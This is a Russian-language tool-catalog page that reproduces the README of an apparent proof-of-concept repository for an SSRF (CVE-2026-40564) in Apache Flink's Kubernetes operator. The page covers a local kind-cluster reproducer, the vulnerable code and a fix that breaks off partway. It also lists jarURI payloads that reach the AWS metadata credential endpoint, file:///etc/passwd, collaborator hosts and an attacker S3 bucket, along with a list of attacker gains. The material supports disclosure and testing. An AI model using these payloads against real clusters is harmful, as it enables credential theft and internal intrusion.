Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF через jarURI FlinkSessionJob в apache/flink-kubernetes-operator. Автономный воспроизводитель, который запускается на локальном kind-кластере одной командой make. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40564
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных сред
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF через jarURI FlinkSessionJob в apache/flink-kubernetes-operator. Автономный воспроизводитель, который запускается на локальном kind-кластере одной командой make.

Репозиторий
64 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40564: SSRF через FlinkSessionJob.spec.job.jarURI в flink-kubernetes-operator

Apache Flink Kubernetes Operator не проверяет поле spec.job.jarURI в ресурсах FlinkSessionJob (или FlinkDeployment). Любой, кто может создать такой ресурс, может установить jarURI в любой URL. Когда оператор выполняет сверку (reconcile) ресурса, он загружает этот URL изнутри своего пода. Схема может быть http, https, file или любой из файловых плагинов, поставляемых с Flink, поэтому запрос может уйти практически куда угодно, куда может дотянуться под оператора.

  • CVE: CVE-2026-40564
  • Затронуто: flink-kubernetes-operator 1.14.0 и main (1.15-SNAPSHOT по состоянию на 2026-04-09)
  • Сообщено в [email protected] и [email protected] 2026-04-09
  • Цепочка вызовов: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Запуск

make verify

При этом последовательно выполняются пять шагов:

  1. создание локального kind-кластера
  2. установка оператора (1.14.0) с помощью Helm
  3. запуск Flink session-кластера и ожидание появления его JobManager
  4. запрос свежего URL у webhook.site, затем применение FlinkSessionJob, чей jarURI указывает на него
  5. опрос webhook.site и вывод полученных запросов

Когда всё работает, конец запуска выглядит так:

==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

Первый запуск занимает около 6–8 минут. Бо́льшая часть этого времени уходит на загрузку образа flink:1.17, который весит около 700 МБ. Последующие запуски занимают около 3 минут.

Что потребуется

docker, kind, kubectl 1.23 или новее, helm 3, make, curl и jq. Кластер должен иметь доступ в интернет, чтобы взаимодействовать с webhook.site.

Направление запроса на другой URL

По умолчанию Makefile сам получает свежий URL webhook.site. Чтобы отправить запрос куда-то ещё, задайте SSRF_URL — полный jarURI, который нужен. Он используется как есть.

# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd

Способ подтверждения результата зависит от цели. Если URL находится на webhook.site, Makefile читает его REST API и выводит перехваченные запросы. Для всего остального он читает лог оператора и ищет кадр стека HttpArtifactFetcher.fetch, который показывает, что загрузка выполнялась. WEBHOOK_URL тоже работает и означает то же самое, что и SSRF_URL.

Очистка

make cleanup

Эта команда удаляет kind-кластер. Ничего не остаётся.

Почему это происходит

Задействованы три класса, и ни один из них не смотрит на схему, хост или IP в jarURI.

DefaultValidator.validateJobSpec проверяет параллелизм, режим обновления, настройки savepoint и форму ресурсов. Он никогда не читает job.getJarURI():

private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch выбирает загрузчик по схеме. Никакого разрешённого списка нет, и всё, что не является http или https, попадает в файловый слой Flink:

public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch открывает URL как есть. Никакой проверки хоста, никакой проверки диапазонов IP и ничто не мешает обращаться к loopback или link-local адресам:

public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Что получает атакующий

Обычно оператор работает с широкими правами RBAC. Официальный Helm-чарт выдаёт * на несколько типов ресурсов, включая секреты, и под, как правило, имеет неограниченный доступ к сети. Если вам удастся заставить его отправлять запросы, вы можете:

  • читать облачные metadata-сервисы (AWS, GCE, Azure) и получать IAM-учётные данные, привязанные к узлу оператора
  • обращаться к сервисам внутри кластера, которые слушают только внутреннюю сеть или доверяют исходному IP оператора
  • вслепую сканировать внутренние порты, читая результат из сообщения об ошибке в статусе FlinkSessionJob
  • использовать file, s3, hdfs, gs или любую другую файловую схему Flink для чтения локальных файлов или обращения к хранилищам, до которых оператор может дотянуться, а вы — нет

В общем кластере, где один и тот же оператор используют несколько команд, любая из них может применить его для доступа к ресурсам другой команды.

Другие рабочие URL

Репродуктор по умолчанию использует webhook.site, но багу безразлично, какой URL задан. Установите SSRF_URL или отредактируйте manifests/vulnerable-sessionjob.yaml, выбрав один из вариантов:

jarURIДоступ
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, IAM-учётные данные узла пода оператора
http://10.0.0.1:6443/apiВнутрикластерный apiserver или любой внутренний endpoint, который добавляет IP оператора в белый список
file:///etc/passwdСобственная файловая система пода оператора, через ветку файлового загрузчика
s3://attacker-bucket/x.jarS3, с использованием учётных данных пода оператора

Как исправить

Добавьте проверку в DefaultValidator.validateJobSpec:

if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");
Скачать инструмент